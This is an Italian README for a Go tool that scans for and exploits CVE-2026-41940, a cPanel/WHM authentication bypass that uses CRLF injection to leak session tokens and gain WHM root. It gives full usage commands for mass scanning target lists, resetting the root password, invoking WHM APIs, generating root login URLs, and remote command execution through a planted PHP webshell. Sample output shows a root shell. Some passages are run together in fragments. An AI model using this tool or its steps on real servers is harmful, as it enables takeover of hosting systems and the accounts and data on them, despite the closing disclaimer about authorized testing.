
Scanner ed exploit tool basato su Go per CVE-2026-41940, un bypass dell'autenticazione in cPanel/WHM. Supporta scansione batch, leak di token e azioni post-exploitation come RCE, cambio password e chiamate API.
Strumento CLI in Go, riscritto dal PoC Python di watchTowr, per rilevare e sfruttare la vulnerabilità di bypass dell'autenticazione CVE-2026-41940 in cPanel/WHM.
CVE-2026-41940 è una vulnerabilità di bypass dell'autenticazione in cPanel/WHM. La catena di attacco sfrutta l'iniezione CRLF nell'header Basic Auth per divulgare il token di sicurezza e ottenere i privilegi root di WHM.
Catena di attacco in 4 fasi:
/login/ per ottenere il cookie whostmgrsession originaleAuthorization: Basic, inducendo il server a divulgare il token di sicurezza cpsess nell'header Location del reindirizzamento 307do_token_denied per propagare i dati di autenticazione iniettati dallo storage originale alla cache/json-api/version e verificare l'ottenimento dei privilegi roothttp://, https://, formati senza protocollo, deduplicazione automatica-passwd)-api)-session)-cmd)[VULN] in rosso, [SAFE] in verde# Richiede Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| Parametro | Descrizione | Esempio |
|---|---|---|
-u | URL del singolo target | -u https://1.2.3.4:2087 |
-f | File contenente l'elenco degli URL | -f targets.txt |
-o | Percorso del file di output (predefinito result.txt) | -o vuln.txt |
-c | Numero di concorrenze (predefinito 10) | -c 20 |
-hostname | Specifica manuale dell'header Host (predefinito: rilevamento automatico) | -hostname cpanel.example.com |
-passwd | Modifica la password di root (solo modalità -u) | -passwd NewP@ss123 |
-api | Invoca una funzione API WHM (solo modalità -u) | -api listaccts |
-api-params | Parametri API WHM, separati da virgole | -api-params user=root,password=123 |
-session | Genera un URL di accesso root con un clic (solo modalità -u) | -session |
-keep | Mantiene l'account temporaneo RCE senza eliminarlo (da usare con -cmd) | -keep |
-cmd | Esegue un comando remoto / RCE (solo modalità -u) | -cmd "id" |
./cpanel-checker -u https://target:2087
La porta predefinita è 2087; le seguenti sintassi sono equivalenti:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt supporta i seguenti formati (un target per riga, le righe che iniziano con # sono commenti):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# questo è un commento
http://1.1.1.1 e https://1.1.1.1 sono considerati lo stesso target e vengono scansionati una sola voltahttps://2087result.txt (personalizzabile con -o)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# Elenca tutti gli account
./cpanel-checker -u https://target:2087 -api listaccts
# Invocazione con parametri
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
Viene generato un URL che, aperto nel browser, consente l'accesso al pannello di amministrazione WHM. Nel pannello, utilizzando la funzione Terminal, è possibile ottenere una shell root interattiva.
Nota:
-sessionè semi-automatico — dopo la generazione dell'URL di accesso, è necessario aprirlo manualmente nel browser.
./cpanel-checker -u https://target:2087 -cmd "id"
Aggiungendo -keep è possibile mantenere l'account temporaneo per accedere al backend cPanel:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
Con -keep, l'output includerà nome utente, password e indirizzo di accesso cPanel dell'account temporaneo (https://host:2083); è possibile utilizzare direttamente queste credenziali per accedere al pannello cPanel.
-cmd è completamente automatico e non richiede altre operazioni manuali. Flusso interno:
~/public_html/ tramite UAPI (Fileman::save_file_content)https://host/~tmpuser/shell.php via HTTP per eseguire i comandiPrerequisito: le porte 80 o 443 del target devono essere raggiungibili e Apache/httpd deve essere in esecuzione.
È possibile utilizzare più parametri di exploit contemporaneamente:
# Ottieni URL di accesso, esegui comandi e modifica la password contemporaneamente
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
Quando l'IP del target non corrisponde al nome host configurato in cPanel, è possibile specificarlo manualmente:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
Per impostazione predefinita, lo strumento rileva automaticamente il nome host corretto tramite il reindirizzamento 307 di /openid_connect/cpanelid.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== Scansione completata ==========
Totale: 5 | Vulnerabili: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] Risultati salvati in result.txt
[*] Target: https://target:2087
[*] Modalità: Exploit
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] Privilegi root WHM ottenuti
[*] Esecuzione comando remoto (RCE)...
[a] Creazione account temporaneo: tmpabcde
[b] Scrittura shell: /home/tmpabcde/public_html/random.php
[c] Esecuzione comando: id
[d] Pulizia account temporaneo: tmpabcde
[+] Output del comando:
uid=0(root) gid=0(root) groups=0(root)
[+] Completato. https://target:2087 è stato compromesso
-passwd, -api, -session, -cmd) sono disponibili solo in modalità singolo target -u, non in modalità batch -f# nel file degli URL vengono ignorateQuesto strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi di ricerca. Testare sistemi senza autorizzazione è illegale. L'utente deve assicurarsi di aver ottenuto l'esplicita autorizzazione scritta del proprietario del sistema target. L'autore non si assume alcuna responsabilità per un uso improprio.